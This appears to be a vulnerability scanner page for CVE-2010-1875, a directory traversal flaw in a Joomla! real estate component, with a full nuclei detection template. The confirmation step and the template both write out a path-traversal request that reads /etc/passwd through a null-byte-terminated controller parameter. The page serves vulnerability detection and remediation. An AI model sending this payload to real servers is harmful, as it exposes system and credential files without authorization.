Joomla! Component Property - Local File Inclusion

highseverity

7.5CVSS score

15.7%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Real Estate Property (com_properties) component 3.1.22-03 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.

Impact

This vulnerability can result in the exposure of sensitive data, such as configuration files, database credentials, or other sensitive information stored on the server.

Fix

To remediate this vulnerability, it is recommended to update the affected Joomla! component to the latest version or apply the necessary patches provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_properties&controller=../../../../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1875 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1875

info:
  name: Joomla! Component Property - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Real Estate Property (com_properties) component 3.1.22-03 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    This vulnerability can result in the exposure of sensitive data, such as configuration files, database credentials, or other sensitive information stored on the server.
  remediation: |
    To remediate this vulnerability, it is recommended to update the affected Joomla! component to the latest version or apply the necessary patches provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/11851
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1875
    - http://www.exploit-db.com/exploits/11851
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57110
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1875
    cwe-id: CWE-22
    epss-score: 0.15722
    epss-percentile: 0.96888
    cpe: cpe:2.3:a:com-property:com_properties:3.1.22-03:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: com-property
    product: com_properties
  tags: cve2010,cve,joomla,lfi,edb,com-property,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_properties&controller=../../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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